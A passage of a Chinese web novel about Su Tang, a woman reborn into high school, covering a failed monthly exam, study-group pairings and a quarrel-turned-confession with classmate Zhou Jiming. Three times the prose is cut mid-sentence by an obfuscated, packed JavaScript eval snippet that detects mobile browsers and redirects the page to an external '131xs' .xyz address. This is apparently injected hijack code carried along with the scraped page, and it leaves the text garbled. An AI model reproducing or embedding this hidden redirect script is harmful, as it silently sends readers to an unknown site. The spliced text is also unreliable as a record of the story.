苏棠回忆起大学时光，那时的一有空就会去打乒乓球。周末的时候，他有时甚至会不辞辛劳地拉着她横跨整个S城，专程到那里的老年人活动中心找人切磋。他说：“现在的大学生都不太行，随便一打就趴下了，真正的高手都藏在老年人之中。”苏棠当时取笑他：“是是是，活力男大干不过你这些老当益壮的。” 她想到当时周既明听完她的话翻白眼的样子，不禁笑了出来。 身边的周既明转头看了她一眼，没有说话，脸色却暗淡了下来。 “我先走了，肚子饿。” 苏棠目送周既明离开的背影。 * 第二天晚自习，月考成绩火热出炉。 不出苏棠的意料，她的成绩遭遇历史上的滑铁卢。 语文134，数学84，英语140，物理53，化学62，生物80，总分553。班级排名13，全级排名200名开外。 她很是淡定地看着成绩单。 “苏棠，你还好吧。”程望舒看到苏棠惨不忍睹的成绩单，难以置信地问道。 苏棠一副一切都在预料之中的神情，“我考完就知道了，没事，只是我们的c*p要解散了，你会不会伤心。” 程望舒想起苏棠之前提的关于互帮学习小组的事，笑了笑：“你都什么时候了，还想这个事情，我不打紧，随便找个人组就行。” 程望舒的笑很是生硬，苏棠知道程望舒也考的不好，她甚至比自己还低，总分只考了530多，在班上排到50%以后了。 “让我们一起卧薪尝胆吧。”苏棠安慰道。 程望舒勉强地点了点头。 教室里一片嘈杂，大家都无心学习，有人趁着考后的放松氛围埋头看小说，有人交头接耳讨论成绩，还有人已经开始物色学习小组的搭档。考试结束后的一周里，学习不是第一要事，这是高中时代一条不成文的定律。 各个科任老师都被叫去开会了，估计是要对这次月考成绩进行分析和总结。晚自习没有老师坐班，教室里的讨论声愈发肆无忌惮。 “顾爷，救救我，我数学只考了60多。”张元明直接从座位上站了起来，走到顾野的座位上，然后钻了进去，惹得顾野的同桌嫌弃地“呀”了一声。 “什么，你也才考了70，我心里终于平衡了。”张元明的声音大得仿佛要将顾野的成绩昭告天下。 程望舒低声咕哝了一句：“他完蛋了。” 苏棠以为程望舒在和自己说话，低头询问道：“你说什么？” 程望舒压低声音：“我说顾野完蛋了，他妈妈一定会把他的篮球队端掉，我在家听过我妈和他妈打电话，超凶。” 程望舒随即做了一个凶狠的表情。 苏棠皱眉点头表示同情，然后她跳开这个话题问道：“那舒舒，你找到学校小组的搭档了吗？” 程望舒依然压低声音：“我准备找李倩，但是我觉得她应该不会同意。” 苏棠瞥了一眼李倩的背影，她正在埋头整理着什么，全然未参与这场无人监管的晚自习狂欢。 苏棠觉得她应该不会接受程望舒的邀请，毕竟以程望舒的成绩，并没有可以帮到李倩的地方。 “你还是换个人吧，我觉得她不会搭理你。”苏棠说。 程望舒无奈托腮：“那你说找谁呢？我总不能找个比我差的吧。” 两人的视线开始在教室里逡巡。 直到晚自习快下课，她们还是没有找到合适的搭档对象。 19. 第十九章 晚自习下课铃声刚响，教室里近一半的人涌向门外。四月的晚自习，竟然有种三伏天提前到来的感觉。 苏棠拉着程望舒，也走到教室外的走廊纳凉。 她们倚在走廊的栏杆上看夜景。 突然间，学校的广播响起，明明还没有到晚自习的放学时刻，却提前播起了音乐，播放的是五月天的《突然好想你》。 “突然好想你，你会在哪里，过得快乐或委屈。” 歌曲播放到高潮时，苏棠的手无意识地抓紧了身下的栏杆，她恍惚间好像看到许春梅的身影。那个时空的妈妈，正在干什么呢？会不会正在想她。 她眼眶不禁一热。 她装作眼里进了沙，用手揉了揉眼顺势擦掉眼泪。 紧接着，她又无可避免地想起了那个时空和她第二亲近的人。 周既明会不会伤心欲绝，后悔不该和她吵架。 她脑海中蓦地闪过起他每次和她斗嘴时那得理不饶人的表情，不自觉地转身环顾四周，想要在当下寻找一个相似的对标物。 她看到教室里的周既明正朝她们走来，她那种时空错乱的感觉瞬间升腾而起。 那人正朝她逼近，恍惚间，他的五官似乎被某种无形的力量无限放大，逼近的让她呼吸不上来。 “苏棠。” 在周既明即将走到苏棠面前之际，一个声音横插了进来。 顾野抢先一步，挡在了两人之间。 速度之快，惊得苏棠和程望舒倒吸了一口气。 “顾野，你干嘛，吓我一跳。”程望舒呵斥道。 “不好意思，出场方式过于惊艳。”顾野不好意思地挠挠头，然后身体转向苏棠一侧，“苏棠，我想和你组学习小组，你找到人了吗？没找到的话要不要考虑一下我。” 苏棠对顾野的邀请有点出乎意料，她愣愣地看了一眼顾野身后的周既明。 周既明应该也是来找她说这事的吧，她既然先答应了周既明，所以现在就算男神亲自邀约，她也只能咬牙拒绝，“可以啊，但是......” 她说话习惯先抑后扬，她正要对顾野说“下次再约”，话还没说完，周既明就突然插了进来。 他径直绕过顾野，却没找苏棠，反而对着程望舒开口：“望舒同学，如果还没找到搭档，要不要加入我的学习小组？” 程望舒有点出乎意料，疑惑地“啊？”了一声。 周既明又重复了一遍：“我想邀请你和我一起组互帮学习小组。” 程望舒转身望着苏棠，见苏棠默不作声，便答应了下来：“好啊。” 得到程望舒肯定的答复后，周既明没有做过多逗留。他向程望舒递了个眼神示意要回教室，然后头也不回地转身离去，目光始终未落在苏棠身上。 苏棠望着周既明的背影，只觉得胸口一阵闷痛，原来是她下意识地憋住了呼吸。 她长舒一口气，尽可能去压制那瞬间爆发出来的隐秘的气愤情绪，她转身对顾野说道：“好啊，我还没找到人，我们一起吧。” 顾野也从刚刚的旁观状态中抽离了出来，嬉皮笑脸地对苏棠说道：“多谢班长大人垂怜。” 苏棠穿越回来后，和顾野多了很多交集。她明显能感受到，顾野对她的态度，从往日那个敬而远之的班长，变成如今颇有兴趣的同班同学。 她看着顾野满心欢喜的样子，心里有些疑惑。 为什么自己好像一点都不开心，甚至还有点失落。 校园的广播被瞬间暂停，随之而来的是最后一节晚自习的响铃声。 “进去吧。”程望舒说罢挽起她的手，把她拉进了教室。 依然是没有坐班老师的晚自习课，班上依然一副闹市般的样子。 她觉得异常地闷热，闷得让人喘不过气来，于是起身把身旁的窗户打开，顺势倚在窗边纳凉。 她依稀感到有视线落在自己身后，随即，裤袋里的手机抖动了一下。 同时，教学楼下一处手电筒的灯光朝自己照来，那是巡查的保安。她连忙坐回座位上，趴在桌子上，偷偷从裤袋里掏出手机。 是周既明的短信。 【放学等我】 如此简单的几个字在却被她看出了几分蛮横无理。 他是在命令她吗？ 明明是他先放她鸽子。 傍晚才对她发出邀请，晚上就转头找了别人。 现在还好意思叫她放学等他。 她起身朝在周既明的座位望去。 却发现，对方懒散地倚靠在座位上，眼神直勾勾地看着她，没有丝毫顾及。 她连忙回头，然后气愤地回复了一条短信。 【滚】 随即拿起笔记本开始画起物理的知识导图，这次物理考的实在是惨不忍睹。 她有预感，周书瑶很快又要找自己了。 果不其然，这个念想刚从苏棠脑海里滑落，教室门外就响起周书瑶的声音。 “苏棠，来办公室一下。” 苏棠闻声抬头，见教室门外多了很多老师的身影，他们正各自走向所带的班级，想必针对此次考试的学科研讨会刚刚结束。 她连忙起身，朝教室门外走去。 踏入办公室的那一刻，她叹了一口气。 她最近被传唤到办公室的频率，实在是高得令人咋舌。 “周老师，对不起。”她走到周书瑶的办公位边上，开口第一句就开始道歉。 周书瑶的表情有点无可奈何，“苏棠，你这次考试怎么回事。” 苏棠沉默，她确实不知道该怎么解释。 她其实已经尽可能为这次考试做了准备，但是很显然，她复习的方法并不奏效。 “你的数学和物理的卷子，在办公室被老师们抢着传阅，你这回是一战成名了！你怎么想的？把数学物理当作文写？” 苏棠微垂着眼，不敢出声。 她暗自叫屈，毕竟大学期末考试，只要你把卷子写满了，老师都会睁一只眼闭一只眼给过。 见苏棠一直不说话，周书瑶用手敲了敲桌子。 “对不起，周老师，我下次好好写，我这次没复习好。”她连忙低声求饶。 周书瑶见她态度诚恳，语气也软了下来：“这一次考试是第一次把高中所有知识都综合起来，试卷难度贴近一模，很多人都考差了。你回去好好整理一下，争取期中考试重回巅峰。” 还重回巅峰？ 能挤进班级前十她都该偷着乐了。 这次真是低估了高中考试的难度，看来要在现有的学习模式基础上寻找一些更加有效的学习方式了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180873|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见苏棠没有回应，周书瑶挥手示意让她回去。 苏棠蔫蔫地走出办公室，发现门外的走廊已经挤满了放学的学生。 她竟没听到晚自习放学的铃声，想来是深陷挨批的情绪中难以抽离。 她被拥挤的人流推着下了办公室一旁的楼梯。 走到一楼楼梯转角处时，一个身影突然将她拽进了楼梯下方的三角隔间，一个摄像头无法照到的视野盲区。 她在黑暗中看见了那人的样貌，是周既明。 “你干嘛，吓我一跳。”她低声质问道。 他声音低沉，带着明显的不悦：“你什么意思？” 此时的苏棠被周既明高大的身影笼罩在墙角，稍一抬头就能感受到他带着怒意的气息扑面而来。 强烈的压迫感。 她不明白对方莫名其妙的怒气。 难道不是他放了她鸽子吗？ 她懒得和这个反复无常的家伙纠缠，偏头避开他逼视的目光，一低头却看见自己的手腕还被他死死扣着。 她晃了晃被握住的右手，用压低却冷厉的声音说道：“放手。” 周既明却故意捏得更紧，“你究竟什么意思？” “我什么意思，我倒要问问你什么意思！”她声音徒然拔高。 两人在这昏暗的角落里剑拔弩张，互相质问着毫无意义的问题。 “为什么答应顾野？”沉默良久，周既明才冷声开口。 可攥着她手腕的力道，却丝毫未减。 听到这话，她太阳穴突突直跳。 她答应顾野，还不是因为周既明先放了他鸽子？ “我乐意答应他，关你屁事？”她又祭出那套惯用的狠话，眼神像淬了毒的刀。 放学的人潮高峰褪去，她猛地甩开他的手，从隔间走了出来。 空气骤然变得开阔而清凉，她大口地呼吸着新鲜空气。 教学楼突然陷入一片黑暗，所有光亮瞬间消失。 熄灯了。 要赶紧回宿舍。 她没有回头，迈开步子准备离开这个是非之地。 她刚走了三四步，背后传来了声音。 “苏棠，你是把我当备胎吗？ 所有的血液瞬间冲上了大脑，她迈出的脚步悬在了空中。备胎？什么备胎？这是哪跟哪？ 她踉跄了一下，转身又走回到那个隔间。 因为熄灯的缘故，本就昏暗的三角隔间一片死寂的黑暗。 “什么意思？” 周既明一声嗤笑，“你别和我说你不是这个意思。” 两个人的对话再度陷入剑拔弩张却原地打转的僵局当中。 苏棠眼看宿舍门禁就要到了，想打破这个僵局，但眼下的她大脑一片混乱，不知道该说些什么。 重生回来的她，把未来经历的事情当成了已知的设定，这种带着设定的眼光让她更难判断当下的情况。 都说重生穿越都有带金手指，她苏棠怎么完全没有这种福利。 周既明见苏棠沉默，冷笑一声继续道：“口口声声和我划清界限，转头三番五次来找我。周末还追到网吧救我，甚至跟我回家。下午刚答应我的组队请求，转头又答应顾野。你这不是把我当备胎是什么？” 他一气之下把所有的心声说了出来。 20. 第二十章 苏棠如遭雷击般僵在原地。 她从未想过周既明会有这样的心思。 毕竟，在她重生前的十年里，他一直喜欢的是程望舒啊。 可周既明控诉的件件桩桩，她都无从辩解。 “我只是想和你做朋友。”话说出口，连她自己都觉得矫情。 周既明不像她那样带着未来的记忆。 代入他的视角，自己确实是三番四次故意接近他。 他嗤笑了一声，“做朋友？我的世界只存在两种异性关系，要么是恋人，要么是陌生人，不存在什么男女之间的纯友谊。” 苏棠只觉得他瞎说。 如果他的世界不存在男女之间的纯友谊，那她重生前与他的那段十年的友情又算什么？ 她定了定神，认真说道：“我想你可能误会了，又或者我们在交友观念上存在差异。我确实对你很感兴趣，但只是出于交朋友的目的。” 更准确地说，是她无法割舍这个与自己形影不离长达十年的朋友。 “所以，你是在拒绝我，对吧？”周既明自嘲地扯了扯嘴角，眼底闪过一丝落寞。 苏棠没有回答。 他们根本不在一个维度上，无论怎么回答都是错。 如果回答“不是”，那就意味着要和他往恋人关系上发展。如果回答“是”，那他们大概再无交集的可能。 她原本只想在既定轨道上求个圆满结局，可眼下的事态发展却与初衷背道而驰。 见她沉默良久，周既明心中了然。 第一次追女孩子，就以失败告终。 他苦笑了一下，收起盛气凌人的态度，轻声对她说道：“我送你回去吧，宿舍快关门了。” 苏棠抬眼望向他，眼底透过一抹无奈。 她确实是一点都不喜欢自己啊。 他还以为，起码多少有一些好感呢。 不仅是失败，简直是溃不成军。 苏棠没有拒绝他要送她回宿舍的提议，两人从教学楼朝女生宿舍走去。 一路上，气氛尴尬。 谁也没有开口说话。 苏棠一直在心里想，要怎么做，才能把这段走偏的感情扭转回正轨。 她偷偷瞥了几眼一旁的周既明，他表情竟然有点受伤。 那副可怜巴巴的小狗模样，又浮现在眼前。 到了女生宿舍楼下，周既明丢下一句“走了”，头也不回地转身离去。 宿管阿姨正要锁一楼大门，见苏棠还愣在原地，大声喊道：“同学，快点儿！马上锁门了！” 她猛然回神，转身大步冲向楼梯。 推开宿舍门时，舍友们都还没睡。 唐敏盘腿坐在床上，咔擦咔擦嚼着薯片刷着新买的手机。 李倩蜷在床角，皱眉看着物理教辅书。 程望舒、李芊和陈思思正在洗漱间刷牙洗脸。 黎城一中高中部的宿舍是标准的八人间，但是她们宿舍因是最后排布的缘故，少了两人，便多处两张空床。 那两张空床，如今已沦为堆满杂物的“置物架”。 她进了宿舍，反锁上门，转身去拿洗漱用品。 唐敏又跟了上去，“班长，你被班主任训到现在啊？” 唐敏消息向来灵通，八成已经知道周书瑶叫苏棠去办公室，是因为她这次考试成绩下滑的事。 “嗯。”她敷衍道。 “天啊。”唐敏从薯片袋里拈出一片，边嚼边含糊道，“班长，你这次咋考成这样。” 这不只是唐敏一个人好奇。 这次月考后，全班都在议论苏棠的成绩。 毕竟，她之前成绩再差，也没有掉下过全班前三。 “最近状态不好。”她往牙刷上挤了段牙膏，在洗漱杯里轻蘸了下水，转头对唐敏摆摆手，“快去洗漱把，马上要熄灯了。” 唐敏仍站在原地，不紧不慢地嚼着薯片：“班长，你该不会是谈恋爱耽误学习了吧？” 关于她和周既明“在一起”的谣言，至今还被班上的人提起。 她也懒得去解释了。 可经唐敏这么一提，周既明方才那受伤的神情又浮现在眼前。 她一阵烦躁。 “我洗好了，先睡啦，晚安。“她收好牙刷牙杯，转身走出洗漱间，利落地爬上床。 程望舒敲了敲上铺床板，苏棠从上床探出半个脑袋：“怎么了？” “苏棠，最后一节晚自习你去办公室的时候，”程望舒仰头解释，“班里重排座位，我帮你留住了现在的位置，顾野换到我这儿，我和周既明就坐你们前排。” “哦，好。”她轻声答应，然后把床帘拉上。 真的是有够尴尬的。 这错综复杂的关系，究竟该如何处理才好？ 她躺了下去，感觉枕头底下传来一阵细微的动静。 她把手机掏出来看，是周既明的短信。 惊得她又马上坐了起来。 不知为何，她竟有些慌张，指尖按下阅读键的刹那，不自觉地闭上了眼睛—— 片刻后，才缓缓睁开。 【苏棠，实在不行，我给你当备胎也行。我外公说了，能当你的备胎，好歹算一个正经的备胎。】 这是什么虎狼之词。 简直难以置信。 周既明发出这条短信时，本想着戏弄苏棠—— 看看她会有什么反应，反正他向来不在乎外人眼光，脸面这东西更不值一提。 反正后面也会慢慢疏远，这事很快就会被忘记。 然后下一秒，他就后悔了。 他刚刚才发现，程望舒竟把他们安排在了苏棠和顾野的正前排。 朝夕相对岂不是尴尬？ 正思忖间，宿舍的灯突然熄灭。 他将座位表往床头一搁，摸黑走向洗漱间。 * 第二天早读，高二五班开始按新座位表调整位置。 教室里桌椅挪动的刺耳声此起彼伏，整个空间充斥着金属和地面的摩擦声。 苏棠的座位还是原来那一个，无需挪动。 “苏棠，那我坐前面去咯。”程望舒抱着一摞书，等周既明把她的课桌挪到苏棠正前方，“这安排不错吧？昨晚我特意找人协调的。” 苏棠勉强挤出一抹笑意。 这局面简直堪比罗生门。 两桌张，四个人，除了顾野，其余三个都心怀鬼胎。 她万万没想到，重生归来竟会上演这种“她喜欢他，他却喜欢她，而她喜欢另一个他”的多角戏码。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180874|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>简直不要太刺激。 “我去操场早读了，实在太吵了。”她对程望舒说完，拿着英语晨读资料便往操场走去。 她能感觉到周既明的目光似有若无地扫过自己，尴尬得不敢抬头。 昨晚那条炸裂的短信，她到现在都没有回复。 主要是不知道怎么回复。 他只是通知她这件事，并不是在征得她的意见，她不知道自己能对此发表什么看法。 她在操场边的树荫下坐下，刚翻开英语资料默读，就听见灌木丛后传来周书瑶和某位家长的谈话声。 她把头埋低，侧耳偷听。 “周老师，那您的意思是，让我们不管他？”女人的声音里充满了质疑。 “不是不管他，是自主权还给他，顾野的性格比较刚烈，如果我们强行去安排他，可能会适得其反。”周书瑶回答。 那个中年女人听起来是顾野的母亲。 “可是继续这样散漫下去，他考不上一本的呀。”女人担忧地说道。 “学习上的事情，我会尽我的能力帮助他，没有到最后一刻，我们也不好下定论。”周书瑶虽然是第一次当班主任，但是在和家长沟通这件事情上，很有自己的一套，她从来不会被家长牵着鼻子走，但也从不不明面上得罪家长。 “我还是希望他能解散他那个篮球队，篮球这个东西，等高考完再打也可以。”女人的语气很是坚定。 苏棠结合在另一个时空高中所发生的事情，大概推测出她们在聊什么事情。顾野的母亲应该想联合周书瑶一起劝服顾野，让他在高三好好学习，不要把心思都放在篮球上。 “了解，那您回去和顾野好好聊一聊吧，不管你们做出什么决定，我都会支持你们。时间也不早了，我送您下去。”周书瑶下了逐客令。 但周书瑶的话听起来并不像是站在家长一边。 苏棠不禁暗自佩服周书瑶的魄力。 脚步声由近及远，渐渐消失。 她几乎能想象顾野母亲那副吃瘪的表情。 回想方才她们的对话，她觉得，其实周书瑶的建议是对的，如果一切按照苏棠所经历过的去发展的话。 当年，顾野的家长联合了其他几个，同样参加了顾野篮球队的同学家长，一起投诉到教务处，投诉学校给学生创造了太多了娱乐空间，严重影响学生成绩。 因为这起投诉，教务处取消了当时即将步入高三的高二学生的专属篮球场地，让顾野他们一群人在学校就是想打篮球都没机会打。 无奈之下，顾野在高二下学期末就把他组建两年的篮球队给解散了。但他后续的成绩并没有像大家期待的那样有所起色，反而急转直下。 苏棠叹了一口气。 她站在历史的末端往前看，发现很多看似“正确”的决断，最后却结出了苦果。她清晰地记得，高三那一年，顾野是怎么浑浑噩噩度过的。他上课看小说，下课趴着睡觉，作业不交，考试也随便应付。那一年，心智尚不成熟的顾野，在用自己的未来去和父母做对抗，他们毁了他的篮球队，那他就决定毁掉自己以此来报复父母。 那时的她，年纪尚小没有什么人生阅历，竟觉得顾野这种自暴自弃的对抗方式带着几分孤勇。 但如今，她绝不允许历史重演。 21. 第二十一章 苏棠扫了眼手机屏幕，7：48，早读时间即将结束。 她合上书本，起身朝教室走去。 既然逃不过，就去面对吧。 她从后门踏入教室的瞬间，深深吸了一口气。 经过座位的调整，教室显得熟悉又陌生。 “顾野，让我进一下。”她站在顾野身旁，等他挪开位置。 顾野垂眼盯着摊开的书本，全神贯注，全然没有听到苏棠的话。 反倒是坐在顾野前排的周既明，听到动静，懒洋洋地侧过身，瞥了两人一眼，又若无其事的转了回去。 苏棠有种被奸视的感觉。 她伸手轻轻叩了叩顾野的桌面，指尖在木质桌面上敲出两声轻响，声音依然柔和：“顾野，让我进去一下，好吗？” 顾野猛地抬起头，像是从思绪里被拽了出来，眼神还带着几分未散的专注。 他眨了眨眼，冲她露出一个抱歉的笑：“抱歉，看得太入神了。” 他一边说着，一边起身，侧身给她让出一条路。 她微微低头，肩膀下意识收拢，小心翼翼地从那道缝隙穿过。 这样近距离的接触，今后每天都要重复无数次。 第一节课是语文课。 她抽出抽屉里的语文课本搁在桌上，好奇地探头问顾野：“你在看什么啊？” 顾野桌上摊着本包了书封的书，大小和语文课本相仿。 他把书倒扣在桌面，眼神发亮：“就上次我们在书店买的那本！你看了没？超精彩。” 她看了前三章，确实非常吸引人。 她附和着点点头。 月考结束后的一周，是大家默认的“摆烂周”。 刚经历完考试和成绩的双重暴击，搞点学习以外的消遣，成了大家心照不宣的潜规则。 那她是不是也该趁机放松一下？ 前阵子为了备战月考，虽然心痒难耐，却始终抽不出时间来读这本小说。 眼下这节语文课正合适，反正课上都是些老生常谈的阅读赏析，对提升成绩也没有什么实质帮助。 她从背包里抽出那本一直带着的《烈焰前朝》，悄悄塞进抽屉，翻到上次的折页处。 腰板挺得笔直，目光却向下偷瞥，在课本的掩护下读了起来。 “这节课我们讲一下这次月考的阅读理解，大家拿出试卷......” 语文老师话音刚落，教室里顿时响起一片哗啦啦翻试卷的声响。 但苏棠和顾野因为看得入神，并没有跟上全班的节奏。 苏棠一目十行，上课才十分钟，她已经看完了一章。 她当初真是有眼不识泰山。 这本书和她刻板印象中的男频小说完全不是一个档次。 和市面上那些低端的只会把女性角色当工具的小说不同，这本小说没有工具化任何一个女性角色，反而花了很大的功夫去给她们增添角色魅力。而男主也并没有金手指，而是实打实地历经了磨难，凭借个人的才智才一步一步爬上高位，最后完成复仇的目的。 而且作者非常擅长埋伏笔，很多细节都是经过精心设置，有时候对某个细节的解读错误就会让故事读起来的感受完全不一致。 她读着读着，觉得自己可能因看得太快漏了些细节，又将书页往回翻了几张。 因看得入神，原本假装听课的身体渐渐放松，挺直的腰背也不自觉弓了起来。 语文老师悄悄地走到她和顾野的座位旁。 全神贯注的两人丝毫没有察觉。 一个粉笔头丢到了苏棠脑壳上，因为距离近的缘故，粉笔砸下去的力度异常的大，身旁的人甚至还可以听到粉笔落在苏棠脑袋上发出的清脆的声音。 “斯——”苏棠摸了一下被砸疼的脑袋，还没意识到发生了什么。 “苏棠同学，把你抽屉里的东西拿出来。”语文老师厉声命令道。 她猛地站了起来，意识到自己大难临头。 然后，把书小心翼翼地合上，再颤颤巍巍地递了过去。 “《烈焰前朝》，还是架空历史小说呢，品味还真不错呢。”语文老师向来说话迂回婉转，习惯先扬后抑，“好你个苏棠，上次在我课上做数学题，这回又看起小说来了。你这般一而再再而三，莫不是觉得语文课无关紧要？如果是这样，往后我的课我批准你不来，省得在底下偷偷摸摸，做着那些小说里的春秋大梦。” 她骂人是相当有水平。 “书我会放在你班主任那里保管，下课以后，我奉劝你主动去找你班主任说明一下情况。”她把书高高举起，特意向全班同学展览。 “好的，老师。”苏棠弱弱地回答。 语文老师正要转身回讲台，却在抬脚的瞬间瞥见神色紧绷的顾野。 她目光扫过他桌上那本“语文课本”，若有所思的顿了顿，随即爆发了起来。 “你们两个——”语文老师的指尖重重叩响顾野的课桌，“立刻、马上，给我出去！” 顾野也跟苏棠一样，被抓包了。 于是，两人在全班同学的注视下，一前一后走向教室后门—— 苏棠上次被罚站的那个角落。 重生归来的她，虽有了当“坏学生”的胆量，却终究缺了份“坏学生”的本事。 继网吧被抓、语文课上写数学题被逮后，这已经是第三次被老师当众揪出来了。 想到待会又要去办公室接受“批斗”，心里便泛起一阵苦涩。 “对不起，连累你了。”她微微侧头，对身旁的顾野低声道。 顾野挠了挠头，轻笑一声：“没事，有难同当，有福同享。” 苏棠忍不住笑了出来，这成语，不是这样用的吧。 语文老师拿着没收的小说走回讲台，一副若无其事的样子继续讲课。 她又感觉到有视线落在她身上，趁着老师背身板书的间隙悄悄回头——正撞上周既明灼人的目光。 她慌忙转回身，心跳却空了一拍。 周既明会不会很伤心，这是苏棠下意识想到的第一个问题。 他昨天误以为她要毁约与顾野组队，冲动之下对她袒露心声。甚至在她没有正面回应的情况下，还主动提出愿意当备胎。 现在又看她和顾野“双宿双栖”...... 心绪纷乱，纠结难解。 她满脑子都是下课后该如何面对周既明。 她幻想着他那楚楚可怜的小狗模样，揣摩着他此刻可能正经历的的心如刀绞。 下课铃声响起，顾野回到教室，苏棠等语文老师离开教室后才朝着办公室走去。 办公室里，周书瑶的办公桌前。 “苏棠，你最近是怎么了？”周书瑶头也没抬，继续在电脑上处理着工作上的事务。 苏棠知道，班主任这种状态是真的生气了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180875|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对不起，周老师，我......我保证，不会再有下次了。”苏棠低头认错。 周书瑶松开手里的鼠标，抬头凝视苏棠：“这话你都说了多少遍了？你最近怎么了？” 她沉默不语。 在外人眼里，她最近实在是过分反常，她自知无法辩驳。 她希望凭借之前攒下的“好印象”，能让周书瑶再一次对她从轻发落，毕竟前几次对方都是这样处理的。 周书瑶重新握住了鼠标，语气虽淡却不容置疑：“下个月期中考后要开家长会，到时候叫你妈妈过来吧。” “别啊！周老师。”苏棠求情。 她在之前经历过的高中里，许春梅一次家长会都没有参加，每次家长会苏棠都帮许春梅请假，而周书瑶因为知晓苏棠家里的情况也一直默许她的行为。 但这次，周书瑶态度异常坚决：“我还有事要处理，你先回去上课。” 恰在此时，第二节上课铃骤然响起。 无奈，她只能从办公室离开。 “报告。”她回到教室时，物理老师已经开始在黑板上板书。 “请进。”物理老师见是苏棠，笔下未停却笑出了声，“苏棠最近成名人了啊，你那张物理卷子我可收藏着呢。” 苏棠才想起，月考试卷发下来时，唯独少了物理那一张，她还以为是自己搞丢了。 她垂首迈着小碎步奔向座位。 顾野已早早起身站在走道上，给她腾出入座的空间。 “谢谢。”她坐下时低声对顾野说了一声。 “你们五班班长，最近可是咱们物理任课组的红人啊。“物理老师结束板书转过身，从教案里抽出一张试卷，“我教书这么多年，还是头一回见到这样的答卷。” 他展开苏棠的试卷，在讲台上高高举起，向全班同学展示。 物理卷子上，写满密密麻麻的中文字。 苏棠羞愧难耐，为什么要拿她当街示众。 “我给大家看，不是为了羞辱苏棠......呵呵呵。”物理老师说着突然笑出了声，又急忙正色道，“恰恰相反，我是要表扬她。别看她这次只考了53分......呵呵呵。” 这何止是当街示众，应该用斩首示众来形容会更加贴切。 物理老师清了清嗓子，继续说道：“以她往常90分的水平，我不相信她会不及格。我猜，她是用这种方式，向我示范，应该如何分析试卷。” 哈？ 这是什么情况？ 苏棠惊讶地抬头，却见物理老师正在读着她最后一道物理大题的答案。 “这道题考察的知识点分别是： 一、电磁感应的综合运用 第一分点：法拉第电磁感应定律——用于计算感应电动势的大小 第二分点：楞次定律——用于判断感应电流的方向” 他神情逐渐严肃：“虽然苏棠的大题一分没拿，但是她对每道题的知识点分析完全正确。这或许值得大家借鉴。像她这样逐条剖析试卷，既能明确自己是哪个知识点没有掌握，也能洞察命题人的出题意图。 但是，苏棠。” 物理老师看向神情恍惚的苏棠。 “啊？”她下意识应道。 “你下次还是正常写吧，不然就算你全都分析对，还是得不及格。”物理老师说完剩下的话。 话音刚落，全班哄堂大笑。 22. 第二十二章 “苏棠，所以你是故意考差的。” 物理课后，课间十分钟，程望舒一脸崇拜地回过头来对苏棠说。 苏棠的物理试卷被老师当堂逐字分析，意外将她推向高位。 如今全班都认为她并不是真的不会做，而是故意在考场上炫技。 “苏棠，你太厉害了，刚刚物理老师说，你都能洞察出题人的出题意向。”一旁的顾野对她竖起了大拇指。 她目光扫过沉默的周既明。 那人背对着他们，没有参加话题，指尖转动着笔，看似漫不经心，实则在认真偷听。 “不是的！我真的不会做......”她慌忙摆手解释，却越发觉得骑虎难下。 周既明听着背后的对话，眉头不自觉地皱了起来。 不是故意考差，她确实是不会做！ 在各科试卷发下来之前，全班的卷子都在他手里。 最近苏棠总是“玩忽职守”，经常忘记履行班长得职责，他一直在默默地替她兜底。 考试成绩公布后，各班班长按照惯例需要前往各科教师办公室领取本班试卷，再分发给相应学科的课代表进行下发。 见她迟迟没有动静，他私下替她完成了这项任务。 他看了她除了物理以外的所有卷子。 英语和语文没有问题，甚至比之前还好。 但是理科却答得一塌糊涂。 虽然她在试卷上准确罗列了和题目相关的的定理和概念说明，毫无遗漏，但实际解题过程却暴露了她不会做的事实。 他注意到几道数学大题中，她虽然尝试推演，却连数学符号都写错，整个计算过程更是凌乱不堪。 不像是有意为之，更像是被逼得没办法了。 手上转动的笔，戛然停下。 她难不成是之前重感冒烧坏脑子了？ 只有这个可能，这也能解释她最近的反常行为。 那她会变回去吗？ 他脑中随之而来的，竟是这个想法。 虽然他已经被苏棠无情拒绝，可一想到她或许会随着“病情”好转，重新变回那个循规蹈矩、埋头苦读的模范生，他心底便涌起一丝难以名状的失落。 不是决定不去招惹她了吗？为什么会怕她变回去？ 早读的时候，他看到苏棠特意去操场早读。他意识到，她或许在刻意躲着他。 这就没意思了—— 他原以为那条“自愿当备胎”的短信至少会激怒她，让她像从前那样气急败坏地跑来质问并且划清界限。 这样就能再看她生气的模样，然后轻描淡写地解释“只是个玩笑”，假装这一切从头到尾都是对她之前出卖自己的小小报复...... 